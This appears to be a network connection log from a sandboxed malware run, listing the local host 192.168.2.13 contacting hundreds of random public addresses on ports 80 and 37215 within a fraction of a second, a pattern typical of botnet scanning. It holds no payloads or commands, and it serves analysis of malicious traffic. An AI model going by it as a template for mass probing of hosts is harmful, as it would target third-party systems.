Dec 3, 2024 21:47:25.359674931 CET	39419	80	192.168.2.13	72.237.164.142
Dec 3, 2024 21:47:25.359674931 CET	39419	80	192.168.2.13	201.119.107.64
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	89.57.16.202
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	147.148.248.137
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	48.3.180.75
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	73.111.244.140
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	93.153.105.45
Dec 3, 2024 21:47:25.359678030 CET	39419	80	192.168.2.13	86.45.173.133
Dec 3, 2024 21:47:25.359682083 CET	39419	80	192.168.2.13	80.194.220.5
Dec 3, 2024 21:47:25.359685898 CET	39419	80	192.168.2.13	179.137.255.174
Dec 3, 2024 21:47:25.359685898 CET	39419	80	192.168.2.13	174.115.111.32
Dec 3, 2024 21:47:25.359685898 CET	39419	80	192.168.2.13	78.203.10.88
Dec 3, 2024 21:47:25.359687090 CET	39419	80	192.168.2.13	102.201.134.130
Dec 3, 2024 21:47:25.359715939 CET	39419	80	192.168.2.13	177.243.129.134
Dec 3, 2024 21:47:25.359715939 CET	39419	80	192.168.2.13	91.13.183.20
Dec 3, 2024 21:47:25.359716892 CET	39419	80	192.168.2.13	64.80.236.40
Dec 3, 2024 21:47:25.359716892 CET	39419	80	192.168.2.13	140.214.124.205
Dec 3, 2024 21:47:25.359718084 CET	39419	80	192.168.2.13	73.98.45.197
Dec 3, 2024 21:47:25.359716892 CET	39419	80	192.168.2.13	13.254.20.160
Dec 3, 2024 21:47:25.359719038 CET	39419	80	192.168.2.13	110.223.142.162
Dec 3, 2024 21:47:25.359718084 CET	39419	80	192.168.2.13	35.30.86.116
Dec 3, 2024 21:47:25.359719992 CET	39419	80	192.168.2.13	206.134.41.98
Dec 3, 2024 21:47:25.359719038 CET	39419	80	192.168.2.13	64.34.59.66
Dec 3, 2024 21:47:25.359719992 CET	39419	80	192.168.2.13	39.173.136.25
Dec 3, 2024 21:47:25.359719038 CET	39419	80	192.168.2.13	45.241.191.179
Dec 3, 2024 21:47:25.359719992 CET	39419	80	192.168.2.13	73.210.213.171
Dec 3, 2024 21:47:25.359719038 CET	39419	80	192.168.2.13	125.155.59.230
Dec 3, 2024 21:47:25.359719992 CET	39419	80	192.168.2.13	115.149.59.188
Dec 3, 2024 21:47:25.359719038 CET	39419	80	192.168.2.13	102.167.40.221
Dec 3, 2024 21:47:25.359726906 CET	39419	80	192.168.2.13	105.247.135.138
Dec 3, 2024 21:47:25.359726906 CET	39419	80	192.168.2.13	187.10.51.99
Dec 3, 2024 21:47:25.359726906 CET	39419	80	192.168.2.13	46.22.218.208
Dec 3, 2024 21:47:25.359726906 CET	39419	80	192.168.2.13	220.49.10.150
Dec 3, 2024 21:47:25.359726906 CET	39419	80	192.168.2.13	67.167.218.29
Dec 3, 2024 21:47:25.359740973 CET	39419	80	192.168.2.13	85.242.246.102
Dec 3, 2024 21:47:25.359740973 CET	39419	80	192.168.2.13	182.221.174.138
Dec 3, 2024 21:47:25.359740973 CET	39419	80	192.168.2.13	180.164.236.61
Dec 3, 2024 21:47:25.359743118 CET	39419	80	192.168.2.13	4.129.57.78
Dec 3, 2024 21:47:25.359743118 CET	39419	80	192.168.2.13	165.229.174.36
Dec 3, 2024 21:47:25.359743118 CET	39419	80	192.168.2.13	114.249.210.106
Dec 3, 2024 21:47:25.359745026 CET	39419	80	192.168.2.13	100.175.230.35
Dec 3, 2024 21:47:25.359745026 CET	39419	80	192.168.2.13	66.5.255.56
Dec 3, 2024 21:47:25.359745026 CET	39419	80	192.168.2.13	124.144.205.61
Dec 3, 2024 21:47:25.359745979 CET	39419	80	192.168.2.13	164.228.217.81
Dec 3, 2024 21:47:25.359745026 CET	39419	80	192.168.2.13	138.248.136.249
Dec 3, 2024 21:47:25.359745979 CET	39419	80	192.168.2.13	157.111.52.195
Dec 3, 2024 21:47:25.359745026 CET	39419	80	192.168.2.13	41.23.202.3
Dec 3, 2024 21:47:25.359749079 CET	39419	80	192.168.2.13	180.215.144.103
Dec 3, 2024 21:47:25.359749079 CET	39419	80	192.168.2.13	202.191.253.154
Dec 3, 2024 21:47:25.359745979 CET	39419	80	192.168.2.13	143.19.132.188
Dec 3, 2024 21:47:25.359749079 CET	39419	80	192.168.2.13	194.252.31.92
Dec 3, 2024 21:47:25.359749079 CET	39419	80	192.168.2.13	13.170.216.237
Dec 3, 2024 21:47:25.359750032 CET	39419	80	192.168.2.13	219.198.100.98
Dec 3, 2024 21:47:25.359765053 CET	39419	80	192.168.2.13	125.54.165.37
Dec 3, 2024 21:47:25.359765053 CET	39419	80	192.168.2.13	104.2.18.180
Dec 3, 2024 21:47:25.359765053 CET	39419	80	192.168.2.13	40.115.128.221
Dec 3, 2024 21:47:25.359765053 CET	39419	80	192.168.2.13	42.168.50.230
Dec 3, 2024 21:47:25.359765053 CET	39419	80	192.168.2.13	8.164.129.211
Dec 3, 2024 21:47:25.359767914 CET	39419	80	192.168.2.13	93.87.95.221
Dec 3, 2024 21:47:25.359767914 CET	39419	80	192.168.2.13	89.180.17.1
Dec 3, 2024 21:47:25.359769106 CET	39419	80	192.168.2.13	184.221.132.134
Dec 3, 2024 21:47:25.359767914 CET	39419	80	192.168.2.13	217.92.190.205
Dec 3, 2024 21:47:25.359771013 CET	39419	80	192.168.2.13	75.17.87.210
Dec 3, 2024 21:47:25.359771967 CET	39419	80	192.168.2.13	160.181.226.32
Dec 3, 2024 21:47:25.359771013 CET	39419	80	192.168.2.13	25.74.96.43
Dec 3, 2024 21:47:25.359771013 CET	39419	80	192.168.2.13	187.249.91.246
Dec 3, 2024 21:47:25.359771013 CET	39419	80	192.168.2.13	156.165.43.82
Dec 3, 2024 21:47:25.359791040 CET	39419	80	192.168.2.13	4.18.205.54
Dec 3, 2024 21:47:25.359791040 CET	39419	80	192.168.2.13	180.100.30.251
Dec 3, 2024 21:47:25.359791040 CET	39419	80	192.168.2.13	222.119.73.7
Dec 3, 2024 21:47:25.359791040 CET	39419	80	192.168.2.13	39.143.110.133
Dec 3, 2024 21:47:25.359792948 CET	39419	80	192.168.2.13	207.169.187.208
Dec 3, 2024 21:47:25.359792948 CET	39419	80	192.168.2.13	184.31.64.179
Dec 3, 2024 21:47:25.359792948 CET	39419	80	192.168.2.13	153.8.255.104
Dec 3, 2024 21:47:25.359793901 CET	39419	80	192.168.2.13	181.116.231.143
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	78.230.100.122
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	197.5.203.81
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	96.62.38.224
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	159.128.65.50
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	8.220.84.182
Dec 3, 2024 21:47:25.359797001 CET	39419	80	192.168.2.13	126.66.93.249
Dec 3, 2024 21:47:25.359800100 CET	39419	80	192.168.2.13	123.94.184.70
Dec 3, 2024 21:47:25.359802008 CET	39419	80	192.168.2.13	138.153.190.133
Dec 3, 2024 21:47:25.359807968 CET	39419	80	192.168.2.13	117.55.93.117
Dec 3, 2024 21:47:25.359807968 CET	39419	80	192.168.2.13	59.210.141.182
Dec 3, 2024 21:47:25.359808922 CET	39419	80	192.168.2.13	24.70.255.224
Dec 3, 2024 21:47:25.359807968 CET	39419	80	192.168.2.13	142.160.29.78
Dec 3, 2024 21:47:25.359808922 CET	39419	80	192.168.2.13	64.156.40.34
Dec 3, 2024 21:47:25.359807968 CET	39419	80	192.168.2.13	118.152.47.164
Dec 3, 2024 21:47:25.359813929 CET	39419	80	192.168.2.13	72.20.217.18
Dec 3, 2024 21:47:25.359813929 CET	39419	80	192.168.2.13	104.232.206.128
Dec 3, 2024 21:47:25.359824896 CET	39419	80	192.168.2.13	180.66.241.12
Dec 3, 2024 21:47:25.359826088 CET	39419	80	192.168.2.13	135.122.65.202
Dec 3, 2024 21:47:25.359827042 CET	39419	80	192.168.2.13	103.112.105.71
Dec 3, 2024 21:47:25.359828949 CET	39419	80	192.168.2.13	57.176.193.83
Dec 3, 2024 21:47:25.359828949 CET	39419	80	192.168.2.13	126.64.238.107
Dec 3, 2024 21:47:25.359838963 CET	39419	80	192.168.2.13	74.229.105.8
Dec 3, 2024 21:47:25.359838963 CET	39419	80	192.168.2.13	223.85.221.234
Dec 3, 2024 21:47:25.359843969 CET	39419	80	192.168.2.13	78.252.156.211
Dec 3, 2024 21:47:25.359843969 CET	39419	80	192.168.2.13	99.185.200.16
Dec 3, 2024 21:47:25.359843969 CET	39419	80	192.168.2.13	180.183.103.49
Dec 3, 2024 21:47:25.359844923 CET	39419	80	192.168.2.13	188.91.227.125
Dec 3, 2024 21:47:25.359843969 CET	39419	80	192.168.2.13	2.253.120.138
Dec 3, 2024 21:47:25.359847069 CET	39419	80	192.168.2.13	162.94.166.13
Dec 3, 2024 21:47:25.359847069 CET	39419	80	192.168.2.13	165.220.47.167
Dec 3, 2024 21:47:25.359848976 CET	39419	80	192.168.2.13	146.50.47.170
Dec 3, 2024 21:47:25.359858990 CET	39419	80	192.168.2.13	90.176.104.119
Dec 3, 2024 21:47:25.359858990 CET	39419	80	192.168.2.13	106.37.9.220
Dec 3, 2024 21:47:25.359859943 CET	39419	80	192.168.2.13	104.219.106.209
Dec 3, 2024 21:47:25.359859943 CET	39419	80	192.168.2.13	146.189.92.204
Dec 3, 2024 21:47:25.359860897 CET	39419	80	192.168.2.13	77.250.187.220
Dec 3, 2024 21:47:25.359860897 CET	39419	80	192.168.2.13	130.105.4.58
Dec 3, 2024 21:47:25.359868050 CET	39419	80	192.168.2.13	207.151.111.79
Dec 3, 2024 21:47:25.359870911 CET	39419	80	192.168.2.13	124.80.40.39
Dec 3, 2024 21:47:25.359875917 CET	39419	80	192.168.2.13	98.12.98.201
Dec 3, 2024 21:47:25.359888077 CET	39419	80	192.168.2.13	216.102.138.198
Dec 3, 2024 21:47:25.359889030 CET	39419	80	192.168.2.13	82.237.87.169
Dec 3, 2024 21:47:25.359890938 CET	39419	80	192.168.2.13	213.61.83.218
Dec 3, 2024 21:47:25.359905958 CET	39419	80	192.168.2.13	166.77.4.182
Dec 3, 2024 21:47:25.359910965 CET	39419	80	192.168.2.13	126.155.198.93
Dec 3, 2024 21:47:25.359910965 CET	39419	80	192.168.2.13	23.16.122.17
Dec 3, 2024 21:47:25.359919071 CET	39419	80	192.168.2.13	106.95.158.81
Dec 3, 2024 21:47:25.359921932 CET	39419	80	192.168.2.13	153.138.206.75
Dec 3, 2024 21:47:25.359921932 CET	39419	80	192.168.2.13	83.52.161.74
Dec 3, 2024 21:47:25.360018969 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:25.360100985 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:25.360101938 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:25.360114098 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:25.360125065 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:25.360129118 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:25.360136986 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:25.391185999 CET	37215	52870	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:25.391195059 CET	37215	47096	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:25.391215086 CET	37215	51292	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:25.391223907 CET	37215	47708	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:25.391239882 CET	37215	49998	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:25.391256094 CET	37215	35446	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:25.391268969 CET	37215	52076	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:25.391292095 CET	37215	51350	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:25.391294956 CET	47096	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:25.391309977 CET	37215	42048	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:25.391309977 CET	52870	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:25.391309977 CET	47708	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:25.391315937 CET	51292	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:25.391319036 CET	35446	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.391323090 CET	37215	52824	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:25.391333103 CET	52076	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:25.391333103 CET	37215	51858	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:25.391344070 CET	37215	38252	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:25.391350031 CET	49998	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:25.391351938 CET	37215	51976	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:25.391360998 CET	37215	60128	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:25.391367912 CET	37215	59084	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:25.391377926 CET	42048	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:25.391387939 CET	51858	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:25.391392946 CET	38252	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:25.391392946 CET	51350	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:25.391392946 CET	52824	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:25.391402960 CET	60128	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:25.391406059 CET	51976	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:25.391417980 CET	59084	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:25.391426086 CET	34043	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.391432047 CET	34043	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:25.391434908 CET	37215	41900	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:25.391446114 CET	34043	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.391446114 CET	34043	37215	192.168.2.13	156.249.195.128
Dec 3, 2024 21:47:25.391452074 CET	37215	47650	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:25.391457081 CET	34043	37215	192.168.2.13	41.115.64.200
Dec 3, 2024 21:47:25.391457081 CET	34043	37215	192.168.2.13	197.244.86.123
Dec 3, 2024 21:47:25.391463995 CET	37215	42164	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:25.391463995 CET	34043	37215	192.168.2.13	41.99.180.47
Dec 3, 2024 21:47:25.391469002 CET	34043	37215	192.168.2.13	156.12.222.12
Dec 3, 2024 21:47:25.391474962 CET	34043	37215	192.168.2.13	41.15.243.202
Dec 3, 2024 21:47:25.391477108 CET	41900	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:25.391488075 CET	34043	37215	192.168.2.13	156.10.65.165
Dec 3, 2024 21:47:25.391489029 CET	34043	37215	192.168.2.13	156.151.75.15
Dec 3, 2024 21:47:25.391494989 CET	34043	37215	192.168.2.13	156.98.3.101
Dec 3, 2024 21:47:25.391505003 CET	34043	37215	192.168.2.13	197.194.8.63
Dec 3, 2024 21:47:25.391505003 CET	47650	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:25.391505003 CET	42164	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:25.391505957 CET	34043	37215	192.168.2.13	156.104.148.156
Dec 3, 2024 21:47:25.391515017 CET	34043	37215	192.168.2.13	156.35.222.162
Dec 3, 2024 21:47:25.391515970 CET	34043	37215	192.168.2.13	156.163.109.188
Dec 3, 2024 21:47:25.391515970 CET	34043	37215	192.168.2.13	41.167.77.180
Dec 3, 2024 21:47:25.391520977 CET	34043	37215	192.168.2.13	156.4.113.222
Dec 3, 2024 21:47:25.391524076 CET	34043	37215	192.168.2.13	197.232.16.235
Dec 3, 2024 21:47:25.391526937 CET	34043	37215	192.168.2.13	41.165.126.166
Dec 3, 2024 21:47:25.391527891 CET	34043	37215	192.168.2.13	156.68.132.53
Dec 3, 2024 21:47:25.391536951 CET	34043	37215	192.168.2.13	156.199.30.101
Dec 3, 2024 21:47:25.391536951 CET	34043	37215	192.168.2.13	197.76.57.153
Dec 3, 2024 21:47:25.391539097 CET	34043	37215	192.168.2.13	197.78.240.98
Dec 3, 2024 21:47:25.391549110 CET	34043	37215	192.168.2.13	197.74.124.57
Dec 3, 2024 21:47:25.391550064 CET	34043	37215	192.168.2.13	197.85.215.230
Dec 3, 2024 21:47:25.391554117 CET	34043	37215	192.168.2.13	156.32.63.220
Dec 3, 2024 21:47:25.391554117 CET	34043	37215	192.168.2.13	156.213.159.174
Dec 3, 2024 21:47:25.391556025 CET	34043	37215	192.168.2.13	41.62.216.105
Dec 3, 2024 21:47:25.391560078 CET	37215	36698	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:25.391566992 CET	34043	37215	192.168.2.13	197.104.22.25
Dec 3, 2024 21:47:25.391573906 CET	37215	34438	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:25.391583920 CET	34043	37215	192.168.2.13	41.47.13.200
Dec 3, 2024 21:47:25.391586065 CET	37215	49042	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:25.391583920 CET	34043	37215	192.168.2.13	156.238.77.104
Dec 3, 2024 21:47:25.391593933 CET	36698	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:25.391598940 CET	37215	34534	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:25.391601086 CET	34438	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:25.391612053 CET	34043	37215	192.168.2.13	41.203.213.90
Dec 3, 2024 21:47:25.391616106 CET	37215	41344	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:25.391618013 CET	34043	37215	192.168.2.13	41.142.245.172
Dec 3, 2024 21:47:25.391625881 CET	49042	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:25.391628027 CET	34534	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:25.391628981 CET	37215	53918	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:25.391633987 CET	34043	37215	192.168.2.13	197.113.200.141
Dec 3, 2024 21:47:25.391633987 CET	34043	37215	192.168.2.13	197.42.215.109
Dec 3, 2024 21:47:25.391638994 CET	37215	51982	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:25.391650915 CET	41344	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:25.391652107 CET	37215	47568	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:25.391654015 CET	34043	37215	192.168.2.13	197.181.95.69
Dec 3, 2024 21:47:25.391659021 CET	37215	35676	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:25.391664982 CET	51982	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:25.391671896 CET	53918	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:25.391678095 CET	34043	37215	192.168.2.13	156.198.255.89
Dec 3, 2024 21:47:25.391688108 CET	37215	39234	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:25.391690016 CET	35676	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:25.391690969 CET	34043	37215	192.168.2.13	197.133.38.222
Dec 3, 2024 21:47:25.391690969 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:25.391700029 CET	34043	37215	192.168.2.13	197.169.166.57
Dec 3, 2024 21:47:25.391705036 CET	37215	34998	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:25.391710997 CET	37215	51276	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:25.391716957 CET	34043	37215	192.168.2.13	41.179.179.95
Dec 3, 2024 21:47:25.391717911 CET	34043	37215	192.168.2.13	197.233.108.165
Dec 3, 2024 21:47:25.391717911 CET	34043	37215	192.168.2.13	197.68.10.178
Dec 3, 2024 21:47:25.391721010 CET	34043	37215	192.168.2.13	197.174.216.132
Dec 3, 2024 21:47:25.391729116 CET	34043	37215	192.168.2.13	156.58.213.124
Dec 3, 2024 21:47:25.391730070 CET	37215	37690	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:25.391746044 CET	39234	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:25.391748905 CET	34998	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:25.391750097 CET	37215	53170	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:25.391761065 CET	37215	55416	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:25.391762972 CET	51276	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:25.391765118 CET	37690	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:25.391769886 CET	34043	37215	192.168.2.13	197.98.241.225
Dec 3, 2024 21:47:25.391772032 CET	37215	53288	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:25.391777039 CET	37215	58070	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:25.391788006 CET	53170	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.391788006 CET	34043	37215	192.168.2.13	197.45.102.112
Dec 3, 2024 21:47:25.391796112 CET	34043	37215	192.168.2.13	197.58.83.100
Dec 3, 2024 21:47:25.391797066 CET	37215	59258	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:25.391801119 CET	34043	37215	192.168.2.13	41.237.75.34
Dec 3, 2024 21:47:25.391804934 CET	37215	47108	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:25.391804934 CET	55416	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:25.391809940 CET	34043	37215	192.168.2.13	41.58.99.14
Dec 3, 2024 21:47:25.391812086 CET	37215	59260	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:25.391814947 CET	53288	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:25.391817093 CET	58070	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:25.391823053 CET	37215	33198	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:25.391824961 CET	34043	37215	192.168.2.13	41.107.110.29
Dec 3, 2024 21:47:25.391828060 CET	37215	46270	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:25.391834021 CET	34043	37215	192.168.2.13	156.79.162.25
Dec 3, 2024 21:47:25.391835928 CET	59258	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:25.391840935 CET	47108	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.391844034 CET	34043	37215	192.168.2.13	156.179.224.161
Dec 3, 2024 21:47:25.391858101 CET	34043	37215	192.168.2.13	197.36.176.185
Dec 3, 2024 21:47:25.391858101 CET	59260	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:25.391859055 CET	33198	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:25.391876936 CET	34043	37215	192.168.2.13	197.212.160.60
Dec 3, 2024 21:47:25.391885996 CET	46270	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:25.391886950 CET	34043	37215	192.168.2.13	156.105.11.225
Dec 3, 2024 21:47:25.391886950 CET	34043	37215	192.168.2.13	156.5.245.145
Dec 3, 2024 21:47:25.391904116 CET	34043	37215	192.168.2.13	197.212.170.166
Dec 3, 2024 21:47:25.391910076 CET	34043	37215	192.168.2.13	41.42.164.92
Dec 3, 2024 21:47:25.391920090 CET	34043	37215	192.168.2.13	156.200.174.166
Dec 3, 2024 21:47:25.391920090 CET	34043	37215	192.168.2.13	156.230.74.154
Dec 3, 2024 21:47:25.391928911 CET	34043	37215	192.168.2.13	197.66.62.139
Dec 3, 2024 21:47:25.391928911 CET	34043	37215	192.168.2.13	197.21.2.154
Dec 3, 2024 21:47:25.391932964 CET	34043	37215	192.168.2.13	41.101.136.211
Dec 3, 2024 21:47:25.391935110 CET	34043	37215	192.168.2.13	197.96.122.194
Dec 3, 2024 21:47:25.391935110 CET	37215	59244	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:25.391941071 CET	37215	54482	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:25.391946077 CET	37215	36714	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:25.391951084 CET	34043	37215	192.168.2.13	41.121.116.98
Dec 3, 2024 21:47:25.391951084 CET	34043	37215	192.168.2.13	41.130.62.116
Dec 3, 2024 21:47:25.391954899 CET	37215	43096	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:25.391958952 CET	34043	37215	192.168.2.13	41.203.67.186
Dec 3, 2024 21:47:25.391958952 CET	34043	37215	192.168.2.13	41.247.191.225
Dec 3, 2024 21:47:25.391959906 CET	37215	46910	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:25.391966105 CET	36714	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:25.391974926 CET	59244	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:25.391972065 CET	37215	60122	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:25.391983032 CET	34043	37215	192.168.2.13	156.252.183.219
Dec 3, 2024 21:47:25.391984940 CET	34043	37215	192.168.2.13	197.11.80.80
Dec 3, 2024 21:47:25.391985893 CET	54482	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:25.391985893 CET	34043	37215	192.168.2.13	156.193.48.56
Dec 3, 2024 21:47:25.391985893 CET	34043	37215	192.168.2.13	197.173.77.129
Dec 3, 2024 21:47:25.391989946 CET	43096	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:25.391994953 CET	34043	37215	192.168.2.13	156.254.30.42
Dec 3, 2024 21:47:25.391999960 CET	34043	37215	192.168.2.13	197.29.118.230
Dec 3, 2024 21:47:25.392004013 CET	46910	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:25.392008066 CET	34043	37215	192.168.2.13	197.86.251.76
Dec 3, 2024 21:47:25.392008066 CET	60122	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:25.392011881 CET	34043	37215	192.168.2.13	41.173.108.174
Dec 3, 2024 21:47:25.392013073 CET	34043	37215	192.168.2.13	41.131.12.192
Dec 3, 2024 21:47:25.392021894 CET	34043	37215	192.168.2.13	156.69.118.243
Dec 3, 2024 21:47:25.392025948 CET	34043	37215	192.168.2.13	197.124.41.185
Dec 3, 2024 21:47:25.392028093 CET	34043	37215	192.168.2.13	41.43.188.132
Dec 3, 2024 21:47:25.392041922 CET	37215	49896	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:25.392043114 CET	34043	37215	192.168.2.13	41.200.214.191
Dec 3, 2024 21:47:25.392046928 CET	37215	57744	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:25.392046928 CET	34043	37215	192.168.2.13	197.155.201.107
Dec 3, 2024 21:47:25.392046928 CET	34043	37215	192.168.2.13	197.76.114.34
Dec 3, 2024 21:47:25.392055035 CET	37215	38170	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:25.392065048 CET	34043	37215	192.168.2.13	41.101.111.65
Dec 3, 2024 21:47:25.392071009 CET	37215	43458	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:25.392071962 CET	49896	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:25.392075062 CET	34043	37215	192.168.2.13	156.244.222.154
Dec 3, 2024 21:47:25.392079115 CET	34043	37215	192.168.2.13	41.212.73.62
Dec 3, 2024 21:47:25.392080069 CET	37215	36642	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:25.392085075 CET	34043	37215	192.168.2.13	41.211.145.187
Dec 3, 2024 21:47:25.392085075 CET	57744	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:25.392093897 CET	37215	44252	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:25.392096043 CET	34043	37215	192.168.2.13	156.157.73.33
Dec 3, 2024 21:47:25.392106056 CET	34043	37215	192.168.2.13	41.178.168.77
Dec 3, 2024 21:47:25.392107010 CET	34043	37215	192.168.2.13	156.158.140.62
Dec 3, 2024 21:47:25.392107964 CET	36642	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:25.392108917 CET	38170	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:25.392112970 CET	34043	37215	192.168.2.13	156.209.199.182
Dec 3, 2024 21:47:25.392121077 CET	43458	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:25.392122030 CET	34043	37215	192.168.2.13	197.19.45.226
Dec 3, 2024 21:47:25.392122984 CET	34043	37215	192.168.2.13	41.149.219.183
Dec 3, 2024 21:47:25.392127991 CET	44252	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:25.392137051 CET	34043	37215	192.168.2.13	156.13.194.88
Dec 3, 2024 21:47:25.392141104 CET	34043	37215	192.168.2.13	197.89.113.114
Dec 3, 2024 21:47:25.392147064 CET	34043	37215	192.168.2.13	197.176.163.240
Dec 3, 2024 21:47:25.392154932 CET	34043	37215	192.168.2.13	156.236.166.157
Dec 3, 2024 21:47:25.392159939 CET	34043	37215	192.168.2.13	197.6.27.230
Dec 3, 2024 21:47:25.392170906 CET	34043	37215	192.168.2.13	156.92.11.181
Dec 3, 2024 21:47:25.392170906 CET	34043	37215	192.168.2.13	156.243.30.99
